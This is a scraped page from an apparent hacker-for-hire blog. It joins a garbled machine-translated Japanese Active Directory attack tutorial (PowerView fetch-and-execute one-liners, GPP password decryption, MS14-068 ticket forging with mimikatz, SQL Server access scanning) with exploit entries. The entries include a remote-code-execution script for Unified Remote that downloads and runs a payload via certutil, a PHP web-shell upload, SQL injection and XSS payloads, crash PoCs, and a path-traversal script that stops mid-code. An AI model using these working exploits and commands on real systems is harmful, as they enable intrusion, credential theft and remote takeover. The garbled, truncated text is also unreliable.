Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863152459

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking

情報収集

オンラインの事前情報やその他の記事から収集されたさまざまな記事は投稿しません。

一般的に、どのドメインコントロールユニットであるかを知りたい場合は、イントラネットのDNSを知ることができます。一般に、ドメイン制御ユニットに複数のDNSがインストールされています。第二に、オープンポート389マシンをスキャンして取得するか、nltestコマンドを使用して表示できます。最後に、ドメイン制御がどのホストであるかを表示するさまざまなネットビュー

nltest /dclist:pentest.com

hswlie1fwxa9029.png

ここでは、PowertoolsのPowerView情報コレクションを使用しています。実際、多くの関数はネットコマンドです。ここでは、PowerShellに実装されています。

Powershell.exe -nop -noni -exec bypass 'iex（new.objectnet.webclient）.downloadstring（' https://raw.githubusercontent.com/cheetz/powertools/master/powerview/powerview.ps1 '）; get -hostip'

1idduukggyk9030.png

より詳細な参照：ドメイン浸透情報コレクションPowertools

get -netdomain-現在のユーザーのドメインの名前を取得します

get -netforest-現在のユーザーのドメインに関連付けられた森林を取得します

get -netforestdomains-現在の森林のすべてのドメインを取得します

get -netdomaincontrollers-現在のコンピューターのドメインのドメインコントローラーを取得します

get -netcurrentuser-現在の[domain \] usernameを取得します

get -netuser-すべてのユーザーオブジェクトを返し、または指定されたユーザー（ワイルドカード固有）を返します

get -netuserspns-すべてのユーザーServicePrincipalNamesを取得します

get -netous-ドメイン組織ユニットのデータを取得します

get -guidous-特定のGUIDにリンクされたドメインを見つける

Invoke -NetuserAdd-ローカルまたはドメインユーザーを追加します

get -netgroups-ドメイン内のすべての現在のグループのリストを取得します

get -netgroup-指定されたドメイングループで各ユーザーのデータを取得します

get -netlocalgroups-リモートホストまたはホストにローカルグループのリストを取得します

get -netlocalgroup-リモートホストまたはホストにローカルグループのメンバーを取得します

get -netlocalservices-リモートホストまたはホストの実行ランニングサービス/パスのリストを取得します

Invoke -NetGroupUserAdd-指定されたローカルまたはドメイングループにユーザーを追加します

Get -NetComputers-ドメイン内のすべての現在のサーバーのリストを取得します

Get -NetFileservers-現在のドメインユーザーが使用するファイルサーバーのリストを取得します

get -netshare-指定されたサーバーの共有情報を取得します

Get -NetLogGedon-指定されたサーバーに積極的にログインしてユーザーを取得します

Get -Netsesions-指定されたサーバーでアクティブなセッションを取得します

Get-NetFilesessions-Get-NetsionsとGet-NetFilesの組み合わせを返します

get -netConnections-特定のサーバーリソースへのアクティブな接続を取得（共有）

get -netfiles-サーバー上で開いたファイルを取得します

get -netprocesses-リモートサーバーでリモートプロセスと所有者を取得します

ドメインメソッドを取得

sysvol

sysvolは、ドメイン内のすべてのドメインコントローラー間でコピーされるドメインパブリックファイルサーバーのコピーを保存する共有フォルダーを指します。 Sysvolフォルダーは、ADのインストール時に作成され、GPO、スクリプト、その他の情報を保存するために使用されます。同時に、Sysvolファイルフォルダーに保存されている情報は、ドメイン内のすべてのDCにコピーされます。

グループポリシーの設定を使用してグループポリシーを構成してユーザーローカル管理者パスワードを変更する

開始- 管理ツール - グループポリシー管理- このドメインでGPOを作成する

設定- 右クリック - 編集- ユーザー構成- 設定- コントロールパネル設定- ローカルユーザーとグループ

ycjhdj3o0dr9031.png

管理者のパスワードを更新します：

53vymxi50f59032.png

ドメインサーバーは通常、このフォルダーを共有するか、現在のマシンの下でXMLファイルを検索するには、groups.xml、scheduledtasks.xml、services.xml、dataSources.xmlの資格情報が含まれます。

マッピングドライバー（drives.xml）

DataSources.xml）

プリンター構成（printers.xml）

サービスを作成/更新する（services.xml）

スケジュールされたタスク（ScheduleDtasks.xml）

qyztvunrfbt9033.png

認証されたユーザー（信頼できるドメインのドメインユーザーまたはユーザー）がSYSVOLに許可を読み取ったため

\ 192.168.50.205Sysvolpentest.comPolicies {84017B64-2662-4BA3-A06C-FB953CCBE92D} userPreferencesGroups.xml

32fs5khdhua9034.png

AES-256ビットで暗号化されています

cpassword='fucmhaw9i2pdyrzebms54ivtphx3ni44qrkwtfbtxoa'

AES秘密キーを使用してGPPパスワードを復号化できます

Microsoftは、MSDNでAES暗号化キー（共有キー）をリリースします

https://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be.aspx

PowerShellのスクリプトを使用した復号化

https://github.com/powershellmafia/powersploit/blob/master/exfiltration/get-gpppassword.ps1

akwt2ktm2119035.png

Sysvolでパスワードと攻撃GPPを見つける（グループポリシーの設定）

Windows Server 2008 R2：4マネジメントSYSVOLフォルダー

sysvolでパスワードを見つけて、グループポリシーの設定を活用してください

Sysvolを使用してグループポリシーに保存されたパスワードを復元します

守る：

GPOを管理するために使用されるコンピューターにKB2962486をインストールして、新しい資格情報がグループポリシーの設定に配置されないようにします。

すべての人にアクセス権を設定します

グループポリシーでは使用されていないドメイン制御パスワード

共有フォルダーSYSVOLのアクセス権限を設定します

既存のGPPにパスワードを含むXMLファイルを削除します。

ms14-068 kerberos

Kerberosの名前は、西部神話の地獄の門を守っている3頭の犬の名前です。この名前を使用する唯一の理由は、Kerberosが取引を完了するために3つの当事者の共同参加を必要とすることです。

Kerberosは、Windows Active Directoryで使用されるクライアント/サーバー認証プロトコルであり、両当事者が通信するための双方向ID認証を提供します。サービスを相互に認証または要求するエンティティは、元本（科目）と呼ばれます。参加している中央サーバーは、略してキー配布センターKDCと呼ばれます）。 KDCは、認証サーバー（AS）とチケット付与サーバー（TGS）の2つのサービスで構成されています。 Windowsドメイン環境では、認証サービスとチケット助成金サービスは、任意の任意のドメイン制御サーバーで同時に実行できます。

その他の読み物：

Kerberosプロトコルの乱用

Kerberosの仕組み

最も基本的な問題は、許可属性証明書を偽造できることです。許可属性証明書は、アカウントのユーザー名、ID、グループメンバー、その他の情報を保存します。ドメインユーザーの基本情報を習得することにより、ドメイン管理者の権限を取得できます。

攻撃者は、有効なKerberos TGT認証チケットを効果的に書き換えて、ドメイン管理者（およびエンタープライズ管理者）になることができます

https://github.com/bidoord/pykek/archive/master.zip

https://github.com/gentilkiwi/mimikatz/releases/

apt-getインストールkrb5ユーザー

apt-get install rdate

MS14-068プロセス：

標準ユーザーとしてPACなしでKerberosTGT認定チケットをリクエストし、DC返信TGT

偽のPACはキーなしで生成されるため、生成されたPACは、HMAC_MD5「署名」の代わりにMD5アルゴリズムを使用してドメインユーザーのパスワードデータを使用します。

TGSサービスチケットリクエストの一部として、偽のPACは、PACのないTGTをDCに送信するための許可されたデータとして使用されます。

DCはこれに混乱しているように見えるため、ユーザーが送信したPACフリーTGTを廃止し、新しいTGTを作成し、偽のPACを独自の承認データに挿入し、このTGTをユーザーに送信します。

この偽のPAC TGTにより、ユーザーは脆弱なDCのドメイン管理者になることができます。

whoami /user

python ms14-068.py -u domainユーザー@domain name -pパスワード-sユーザーsid -dドメインホスト

キャッシュされたチケットを生成し、現在のカリの下でそれらを生成してから、ドメインユーザーマシンに入れます。

soj2erkrku29036.png

Mimikatzを使用して、TGT_DOMOMAINUSER@SERVER.COM.CCACHEを作成し、メモリしてキャッシュ証明書を作成するために取得しました。

mimikatz.exe 'kerberos:3360ptc c:tgt_darthsidious@pentest.com.ccache' exit

sy4dtmkyyak9037.png

KLISTビュー

正味使用k: \ pentest.comc $

ディレクトリK：

dz3ulpxsu0c9038.png

関連情報：

KerberosのツールキットPykek

MS14-068の脆弱性の詳細な解釈

Kerberosのセキュリティの脆弱性

守る：

インストールKB3011780のインストールを確認してください

SPNスキャン

Kerberoastは、ターゲットシステムにパケットを送信せずに、Active Directoryから通常のユーザーとしてサービスアカウントの資格情報を抽出する効果的な方法として使用できます。

SPNは、Kerberos認証を使用するネットワーク上のサービスのユニークな識別子です。サービスクラス、ホスト名、ポートで構成されています。 Kerberos認証を使用したネットワークでは、Networkservice、LocalSystem、ユーザーアカウントなどの組み込みコンピューターアカウントの下にサーバーにSPNを登録する必要があります。組み込みアカウントの場合、SPNは自動的に登録されます。ただし、Domainユーザーアカウントでサービスを実行する場合は、使用するアカウントのSPNを手動で登録する必要があります。

SPNスキャンの主な利点は、SPNスキャンがサービスポートを確認するためにネットワーク上の各IPに接続する必要がないことです。 SPNはLDAPクエリを介してサービスを実行します。 SPNクエリはKerberosのチケット動作の一部であるため、SPNスキャンを検出することは困難です。

Powershell -exec bypass -command 'iex（new-object net.webclient）.downloadString（' https://raw.githubusercontent.com/pyrotek3/powershell-ad-recon/master/discover-psmssqlservers '）;発見-PSMSSQLSERVERS'

qxfwpq22cvh9039.png

SQL Serverスクリプトをスキャンします

import-module .get-sqlserveraccess.psm1

PS C:GET-SQLSERVER-ESCALATE-CHECKACCESS

[*] ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------

[*] Start Time: 04/01/2014 10:00:00

[*] domain: mydomain.com

[*] DC: DC1.MYDOMAIN.COM [*] DCのSQL ServerインスタンスのリストをMyDomainMyUserとして取得.

[*] LDAPで見つかった5 SQL Serverインスタンス。

[*] MyDomainMyUserとして5つのSQL Serverインスタンスにログインしようとしています.

[*] ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------

[ - ]失敗-server1.mydomain.comはpingに応答していません

[ - ]失敗-server2.mydomain.com（192.168.1.102）が増えましたが、認証/クエリに失敗しました

[+]成功！ -server3.mydomain.com、1433（192.168.1.103）-sysadmin: no -svcisda: no

[+]成功！ -server3.mydomain.comsqlexpress（192.168.1.103）-sysadmin: no -svcisda: no

[+]成功！ -server4.mydomain.comAppdata（192.168.1.104）-Sysadmin:はい-SVCISDA:はい

[*] ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------

[*] 5つのSQLサーバーインスタンスのうち3つにアクセスできます。

[*]終了時間: 04/01/2014 10:02:00

[*]合計時間: 00:02:00

[*] ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------

LDAP経由で広告からSQLサーバーのリストを取得し、現在のドメインユーザーで各SQLサーバーにログインしようとします。これらはCSVファイルに出力されます。

PS C:GET -SQLSERVERACCESS -SHOWSUM | Export-CSV C:TEMPSQL-SERVER-EXCESSIVE-PRIVS.CSV

[*] ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------

[*] Start Time: 04/01/2014 10:00:00

[*] domain: mydomain.com

[*] dc: dc1.mydomain.com

[*] MyDomainMyUserとしてDCからSQL Serverインスタンスのリストを取得.

[*] LDAPで見つかった5 SQL Serverインスタンス。

[*] MyDomainMyUserとして5つのSQL Serverインスタンスにログインしようとしています.

[*] ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------

[ - ]失敗-server1.mydomain.comはpingに応答していません

[ - ]失敗-server2.mydomain.com（192.168.1.102）が増えましたが、認証/クエリに失敗しました

[+]成功！ -server3.mydomain.com、1433（192.168.1.103）-sysadmin: no -svcisda: no

[+]成功！ -server3.mydomain.comsqlexpress（192.168.1.103）-sysadmin: no -svcisda: no

[+]成功！ -server4.mydomain.comAppdata（192.168.1.104）-Sysadmin:はい-SVCISDA:はい

[*] ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------

[*] 5つのSQLサーバーインスタンスのうち3つにアクセスできます。

[*]終了時間: 04/01/2014 10:02:00

[*]合計時間: 00:02:00

[*] ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------

より悪いパスワード推測

get -sqlserveraccess -sqluser sa -sqlpass 123qwe！@＃

機密データを見つけます

get -sqlServerAccess- query 'マスターから「データベース」として名前を選択します。

その他の参照：

非スキャンSQLサーバーの発見

関連情報：

SPNスキャン

SQLServerのスクリプトをスキャンします

Kerberosのゴールデンチケット

https://Adsecurity.org/?p=1640

ドメインサービスアカウントの割れ練習

Kerberos認定原則

Windowsセキュリティ認証メカニズムntlm＆kerberosを深く理解する

Kerberos認証プロセス

itezdwplsr29040.png

パスワードはNTLMハッシュに変換され、タイムスタンプはハッシュを使用して暗号化され、認証チケット（TGT）リクエスト（AS-REQ）で認証券としてKDCに送信されます。

ドメインコントローラー（KDC）は、ユーザー情報（ログイン制限、グループメンバーシップなど）をチェックし、グラントチケット（TGT）へのチケットを作成します。

TGTは暗号化され、署名され、ユーザーに配信されます（AS-REP）。ドメイン内のKerberosサービス（KRBTGT）のみがTGTデータをオンにして読み取ることができます。

ユーザーはそうです

HireHackking 
# Exploit Title: Unified Remote 3.9.0.2463 - Remote Code Execution
# Author: H4rk3nz0
# Vendor Homepage: https://www.unifiedremote.com/
# Software Link: https://www.unifiedremote.com/download
# Tested on: Windows 10, 10.0.19042 Build 19042

#!/usr/bin/python

import socket
import sys
import os
from time import sleep

target = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

port = 9512

# Packet Data Declarations; Windows, Space and Enter have non-standard values

open = ("00000085000108416374696f6e00000550617373776f72640038653831333362332d61313862"
"2d343361662d613763642d6530346637343738323763650005506c6174666f726d00616e64726f696400"
"0852657175657374000005536f7572636500616e64726f69642d64373038653134653532383463623831"
"000356657273696f6e000000000a00").decode("hex")

open_fin = ("000000c8000108416374696f6e0001024361706162696c69746965730004416374696f6e7"
"3000104456e6372797074696f6e3200010446617374000004477269640001044c6f6164696e6700010453"
"796e630001000550617373776f72640064363334633164636664656238373335363038613461313034646"
"5643430373664653736366464363134343336313938303961643766333538353864343439320008526571"
"75657374000105536f7572636500616e64726f69642d643730386531346535323834636238310000"
).decode("hex")

one = ("000000d2000108416374696f6e00070549440052656c6d746563682e4b6579626f61726400024"
"c61796f75740006436f6e74726f6c73000200024f6e416374696f6e0002457874726173000656616c756"
"5730002000556616c756500").decode("hex")

two = ("00000000054e616d6500746f67676c6500000854797065000800000008526571756573740007"
"0252756e0002457874726173000656616c7565730002000556616c756500").decode("hex")

three = ("00000000054e616d6500746f67676c65000005536f7572636500616e64726f69642d643730"
"386531346535323834636238310000").decode("hex")

win_key = ("000000d8000108416374696f6e00070549440052656c6d746563682e4b6579626f61726"
"400024c61796f75740006436f6e74726f6c73000200024f6e416374696f6e000245787472617300065"
"6616c7565730002000556616c7565004c57494e00000000054e616d6500746f67676c6500000854797"
"0650008000000085265717565737400070252756e0002457874726173000656616c756573000200055"
"6616c7565004c57494e00000000054e616d6500746f67676c65000005536f7572636500616e64726f6"
"9642d643730386531346535323834636238310000").decode("hex")

ret_key = ("000000dc000108416374696f6e00070549440052656c6d746563682e4b6579626f6172"
"6400024c61796f75740006436f6e74726f6c73000200024f6e416374696f6e0002457874726173000"
"656616c7565730002000556616c75650052455455524e00000000054e616d6500746f67676c650000"
"08547970650008000000085265717565737400070252756e0002457874726173000656616c7565730"
"002000556616c75650052455455524e00000000054e616d6500746f67676c65000005536f75726365"
"00616e64726f69642d643730386531346535323834636238310000").decode("hex")

space_key = ("000000da000108416374696f6e00070549440052656c6d746563682e4b6579626f6"
"1726400024c61796f75740006436f6e74726f6c73000200024f6e416374696f6e000245787472617"
"3000656616c7565730002000556616c756500535041434500000000054e616d6500746f67676c650"
"00008547970650008000000085265717565737400070252756e0002457874726173000656616c756"
"5730002000556616c756500535041434500000000054e616d6500746f67676c65000005536f75726"
"36500616e64726f69642d643730386531346535323834636238310000").decode("hex")

# ASCII to Hex Conversion Set
characters={
	"A":"41","B":"42","C":"43","D":"44","E":"45","F":"46","G":"47","H":"48","I":"49","J":"4a","K":"4b","L":"4c","M":"4d","N":"4e",
	"O":"4f","P":"50","Q":"51","R":"52","S":"53","T":"54","U":"55","V":"56","W":"57","X":"58","Y":"59","Z":"5a",
	"a":"61","b":"62","c":"63","d":"64","e":"65","f":"66","g":"67","h":"68","i":"69","j":"6a","k":"6b","l":"6c","m":"6d","n":"6e",
	"o":"6f","p":"70","q":"71","r":"72","s":"73","t":"74","u":"75","v":"76","w":"77","x":"78","y":"79","z":"7a",
	"1":"31","2":"32","3":"33","4":"34","5":"35","6":"36","7":"37","8":"38","9":"39","0":"30",
	"+":"2b","=":"3d","/":"2f","_":"5f","<":"3c",
	">":"3e","[":"5b","]":"5d","!":"21","@":"40","#":"23","$":"24","%":"25","^":"5e","&":"26","*":"2a",
	"(":"28",")":"29","-":"2d","'":"27",'"':"22",":":"3a",";":"3b","?":"3f","`":"60","~":"7e",
	"\\":"5c","|":"7c","{":"7b","}":"7d",",":"2c",".":"2e"}

# User Specified arguments
try:
	rhost = sys.argv[1]
	lhost = sys.argv[2]
	payload = sys.argv[3]
except:
	print("Usage: python " + sys.argv[0] + " <target-ip> <local-http-ip> <payload-name>")


# Send Windows Key Input Twice
def SendWin():
	target.sendto(win_key,(rhost, port))
	target.sendto(win_key,(rhost, port))
	sleep(0.4)


# Send Enter/Return Key Input
def SendReturn():
	target.sendto(ret_key,(rhost, port))
	sleep(0.4)

# Send String Characters
def SendString(string, rhost):
	for char in string:
		if char == " ":
			target.sendto(space_key,(rhost, port))
			sleep(0.02)
		else:
			convert = characters[char].decode("hex")
			target.sendto(one + convert + two + convert + three,(rhost, port))
			sleep(0.02)

# Main Execution
def main():
	target.connect((rhost,port))
	sleep(0.5)
	print("[+] Connecting to target...")
	target.sendto(open,(rhost,port)) 	# Initialize Connection to Unified
	sleep(0.02)
	target.sendto(open_fin,(rhost,port)) 	# Finish Initializing Connection
	print("[+] Popping Start Menu")
	sleep(0.02)
	SendWin()
	sleep(0.3)
	print("[+] Opening CMD")
	SendString("cmd.exe", rhost)
	sleep(0.3)
	SendReturn()
	sleep(0.3)
	print("[+] *Super Fast Hacker Typing*")
	SendString("certutil.exe -f -urlcache http://" + lhost + "/" + payload + " C:\\Windows\\Temp\\" + payload, rhost) # Retrieve HTTP hosted payload
	sleep(0.3)
	print("[+] Downloading Payload")
	SendReturn()
	sleep(3)
	SendString("C:\\Windows\\Temp\\" + payload, rhost) # Execute Payload
	sleep(0.3)
	SendReturn()
	print("[+] Done! Check listener?")
	target.close()

if __name__=="__main__":
	main()
HireHackking 
# Exploit Title: Softros LAN Messenger 9.6.4 - 'SoftrosSpellChecker' Unquoted Service Path
# Discovery by: Victor Mondragón
# Discovery Date: 23-02-2021
# Vendor Homepage: https://www.softros.com/
# Software Links : https://download.softros.com/SoftrosLANMessengerSetup.exe
# Tested Version: 9.6.4
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10 Pro 64 bits

# Step to discover Unquoted Service Path: 
 

C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
Softros Spell Checker           SoftrosSpellChecker     C:\Program Files (x86)\Softros Systems\Softros Messenger\Spell Checker\SoftrosSpellChecker.exe      Auto

C:\>sc qc SoftrosSpellChecker
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: SoftrosSpellChecker
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 0   IGNORE
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Softros Systems\Softros Messenger\Spell Checker\SoftrosSpellChecker.exe
        GRUPO_ORDEN_CARGA  : System Reserved
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Softros Spell Checker
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem
HireHackking 
# Exploit Title: Product Key Explorer 4.2.7 - 'multiple' Denial of Service (PoC)
# Exploit Author : Sinem Şahin
# Exploit Date: 2021-02-23
# Vendor Homepage : http://www.nsauditor.com/
# Link Software : http://www.nsauditor.com/downloads/productkeyexplorer_setup.exe
# Version: 4.2.7
# Tested on: Windows 7 x64


# Steps: 
1- Run the python script. (exploit.py)
2- Open payload.txt and copy content to clipboard.
3- Run 'Product Key Explorer 4.2.7'. 
4- Register -> Enter Registration Code
5- Paste clipboard into the "Key" or "Name".
6- Click on OK.
7- Crashed.

---> exploit.py <--

#!/usr/bin/env python
buffer = "\x41" * 300

try:
    f = open("payload.txt","w")
    f.write(buffer)
    f.close()
    print "File created!"
except:
    print "File cannot be created!!"
HireHackking

SpotAuditor 5.3.5 - 'multiple' Denial Of Service (PoC)

HACKER · %s · %s

# Exploit Title: SpotAuditor 5.3.5 - 'multiple' Denial Of Service (PoC) # Exploit Author : Sinem Şahin # Exploit Date: 2021-02-10 # Vendor Homepage : http://www.nsauditor.com/ # Link Software : http://spotauditor.nsauditor.com/downloads/spotauditor_setup.exe # Tested on: Windows 7 x64 # Version: 5.3.5 # Steps: 1- Run the python script. (exploit.py) 2- Open payload.txt and copy content to clipboard. 3- Run 'SpotAuditor 5.3.5'. 4- Register -> Enter Registration Code 5- Paste clipboard into the "Name" or "Key". 6- Click on OK. 7- Crashed. ---> exploit.py <-- #!/usr/bin/env python buffer = "\x41" * 300 try: f = open("payload.txt","w") f.write(buffer) f.close() print"File okey!!" except: print "File is not created."
HireHackking

LayerBB 1.1.4 - 'search_query' SQL Injection

HACKER · %s · %s

# Exploit Title: LayerBB 1.1.4 - 'search_query' SQL Injection # Date: 2021-02-19 # Exploit Author: Görkem Haşin # Version: 1.1.4 # Tested on: Linux/Windows # POST /search.php HTTP/1.1 # Host: Target Payload: search_query=Lffd') AND 8460=(SELECT (CASE WHEN (8460=8460) THEN 8460 ELSE (SELECT 1560 UNION SELECT 2122) END))-- -&search_submit=Search
HireHackking
# Exploit Title: Local Services Search Engine Management System (LSSMES) 1.0 - Blind & Error based SQL injection (Authenticated) # Date: 2021-03-02 # Exploit Author: Tushar Vaidya # Vendor Homepage: https://phpgurukul.com/local-services-search-engine-management-system-using-php-and-mysql/ # Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=10867 # Version: v1.0 # Tested on: Ubuntu # Detail walkthrough: https://medium.com/@tusharvaidya16/authenticated-blind-error-based-sql-injection-on-local-services-search-engine-management-system-3e99779f0850 *Steps to Reproduce:* 1) Login with Admin Credentials and click on the *Service Category* button. 2) Click on the *Manage Category* button. 3) Now add the double quote ( " ) in the URL after *editid parameter* 4) At that time we observe that the application is misbehaving now capture this request from the burp suite and save it into an SQL text file. 4) Now fire up the following command into SQLMAP CMD: sqlmap -r sql_file.txt --data="editid=1" --curent-db --level 5 --risk 3 4) We got a database. *Below request from sql_file.txt* GET /LSSMES/lssems/admin/edit-category-detail.php?editid=* HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Referer: http://lcoalhost/LSSMES/lssems/admin/manage-category.php Cookie: PHPSESSID=rinoskt58u1hpa8s6i7di53rbc Upgrade-Insecure-Requests: 1
HireHackking

Online Ordering System 1.0 - Arbitrary File Upload

HACKER · %s · %s

# Exploit Title: Online Ordering System 1.0 - Arbitrary File Upload to Remote Code Execution # Date: 04/03/2021 # Exploit Author: Suraj Bhosale # Vendor Homepage: https://www.sourcecodester.com # Software Link: https://www.sourcecodester.com/php/5125/online-ordering-system-using-phpmysql.html # Version: 1.0 # Tested on Windows 10, XAMPP Request: ======== POST /onlineordering/GPST/store/initiateorder.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------14955282031852449676680360880 Content-Length: 972 Origin: http://localhost Connection: close Referer: http://localhost/onlineordering/GPST/store/index.php Cookie: PHPSESSID=0es23o87toitba1p1pdmq5i6ir Upgrade-Insecure-Requests: 1 -----------------------------14955282031852449676680360880 Content-Disposition: form-data; name="transnum" VAF-XAP -----------------------------14955282031852449676680360880 Content-Disposition: form-data; name="select1" 25 -----------------------------14955282031852449676680360880 Content-Disposition: form-data; name="pname" keychain -----------------------------14955282031852449676680360880 Content-Disposition: form-data; name="select2" 1 -----------------------------14955282031852449676680360880 Content-Disposition: form-data; name="txtDisplay" 25 -----------------------------14955282031852449676680360880 Content-Disposition: form-data; name="note" test -----------------------------14955282031852449676680360880 Content-Disposition: form-data; name="image"; filename="shell.php" Content-Type: application/octet-stream <?php echo "Shell";system($_GET['cmd']); ?> -----------------------------14955282031852449676680360880-- Response: ========= HTTP/1.1 200 OK Date: Thu, 04 Mar 2021 13:28:27 GMT Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.27 X-Powered-By: PHP/7.3.27 Content-Length: 55 Connection: close Content-Type: text/html; charset=UTF-8 <meta http-equiv="refresh" content="1; url=index.php"> # Uploaded Malicious File can be Found in : onlineordering\GPST\store\design # go to http://localhost/onlineordering/GPST/store/design/shell.php?cmd=hostname which will execute hostname command.
HireHackking
# Exploit Title: Textpattern CMS 4.8.4 - 'Comments' Persistent Cross-Site Scripting (XSS) # Date: 2021-03-04 # Exploit Author: Tushar Vaidya # Vendor Homepage: https://textpattern.com # Software Link: https://textpattern.com/start # Version: v 4.8.4 # Tested on: Windows Steps-To-Reproduce: 1. Login into Textpattern CMS admin panel. 2. Now go to the *Content > C**omments > Message*. 3. Now paste the below payload in the URL field. Ba1man”><img src=x onerror=confirm(document.location)> 4. Now click on the *Save* button. 5. Now go to the https://site.com/articles/welcome-to-your-site#comments-head 5. The XSS will be triggered.
HireHackking
# Exploit Title: Textpattern CMS 4.9.0-dev - 'Excerpt' Persistent Cross-Site Scripting (XSS) # Date: 2021-03-04 # Exploit Author: Tushar Vaidya # Vendor Homepage: https://textpattern.com # Software Link: https://textpattern.com/start # Version: v 4.9.0-dev # Tested on: Windows Steps-To-Reproduce: 1. Login into Textpattern CMS admin panel. 2. Now go to the *Content > Write > ** Excerpt*. 3. Now paste the below payload in the URL field. Ba1man”><img src=x onerror=confirm(document.cookie)> 4. Now click on the *Save* button. 5. Now go to the *articles* page 5. The XSS will be triggered.
HireHackking
# Exploit Title: Web Based Quiz System 1.0 - 'eid' Union Based Sql Injection (Authenticated) # Date: 04-03-2021 # Exploit Author: Deepak Kumar Bharti # Vendor Homepage: https://www.sourcecodester.com # Software Download Link: https://www.sourcecodester.com/php/14727/web-based-quiz-system-phpmysqli-full-source-code.html # Software: Web Based Quiz System # Version: 1.0 # Tested on: Windows 10 Pro # Union Based Sql Injection has been discovered in the Web Based Quiz System created by sourcecodester/janobe # in Welcome page in quiz section eid parameter affected from this vulnerability. # URL: http://localhost/welcome.php?q=quiz&step=2&eid=60377db362694' Union Select 1,database(),database(),4,5-- -&n=2&t=34 POC: # go to url http://localhost/login.php # then you have to login with default creds # then go to quiz and execute the payload ie:-- http://localhost/welcome.php?q=quiz&step=2&eid=60377db362694' Union Select 1,database(),database(),4,5-- -&n=2&t=34
HireHackking

Configuration Tool 1.6.53 - 'OpLclSrv' Unquoted Service Path

HACKER · %s · %s

# Exploit Title: Configuration Tool 1.6.53 - 'OpLclSrv' Unquoted Service Path # Discovery by: Brian Rodriguez # Date: 07-03-2021 # Vendor Homepage: https://www.oki.com # Software Links: https://www.oki.com/mx/printing/support/drivers-and-utilities/?id=46226801&tab=drivers-and-utilities&productCategory=monochrome&sku=62442301&os=ab4&lang=ac6 # Tested Version: 1.6.53 # Vulnerability Type: Unquoted Service Path # Tested on: Windows 8.1 Pro 64 bits # Step to discover Unquoted Service Path: C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """ OKI Local Port Manager OpLclSrv C:\Program Files\Okidata\Common\extend3\portmgrsrv.exe Auto C:\>sc qc OpLclSrv [SC] QueryServiceConfig CORRECTO NOMBRE_SERVICIO: OpLclSrv TIPO: 10 WIN32_OWN_PROCESS TIPO_INICIO: 2 AUTO_START CONTROL_ERROR: 0 IGNORE NOMBRE_RUTA_BINARIO: C:\Program Files\Okidata\Common\extend3\portmgrsrv.exe GRUPO_ORDEN_CARGA: ETIQUETA: 0 NOMBRE_MOSTRAR: OKI Local Port Manager DEPENDENCIAS: NOMBRE_INICIO_SERVICIO: LocalSystem
HireHackking

Fluig 1.7.0 - Path Traversal

HACKER · %s · %s

# Exploit Title: Fluig 1.7.0 - Path Traversal # Date: 26/11/2020 # Exploit Author: Lucas Souza # Vendor Homepage: https://www.totvs.com/fluig/ # Version: <== 1.7.0-210217 # Tested on: 1.7.0-201124 #!/bin/bash url="$1" npayload=$2 > payload.txt curl -s https://raw.githubusercontent.com/lucxssouza/banners/main/xFluig/banner > banner # -- FUNCTIONS -- function create-payload { > wordlist.txt count=1 while [[ $count -le $npayload ]]; do # WINDOWS PAYLOAD echo "?t=1&vol=Default&id=$count&ver=1000&file=../../../../../../../../../../../../../fluig/appserver/domain/configuration/domain.xml" >> wordlist.txt echo "?t=1&vol=Default&id=$count&ver=1000&file=../../../../../../../../../../../../../users/public/desktop/desktop.ini" >> wordlist.txt # LINUX PAYLOAD echo "?t=1&vol=Default&id=$count&ver=1000&file=../../../../../../../../../../../../../etc/passwd" >> wordlist.txt echo "?t=1&vol=Default&id=$count&ver=1000&file=../../../../../../../../../../../../../opt/fluig/appserver/domain/configuration/domain.xml" >> wordlist.txt count=$[$count + 1] done } function manual-mode { while :; do echo echo -e "\033[0;31m[!] VALID MANUAL MODE COMMANDS\033[0m" echo echo -e "\033[0;32m -[ clear - Clear Screen\033[0m" echo -e "\033[0;32m -[ target - Set a target\033[0m" echo -e "\033[0;32m -[ director/file - Ex: /etc/passwd\033[0m" echo -e "\033[0;32m -[ info - Target info and parse 'domain.xml' file ( require target )\033[0m" echo echo -n -e "\033[0;31mMANUAL MODE >>\033[0m "; read -r input2 path=$(echo $input2 | sed 's/\\/\//g' | tr '[:upper:]' '[:lower:]') mkfile=$(echo $path | sed 's/\//-/g' | sed 's/-//' | tr '[:upper:]' '[:lower:]') 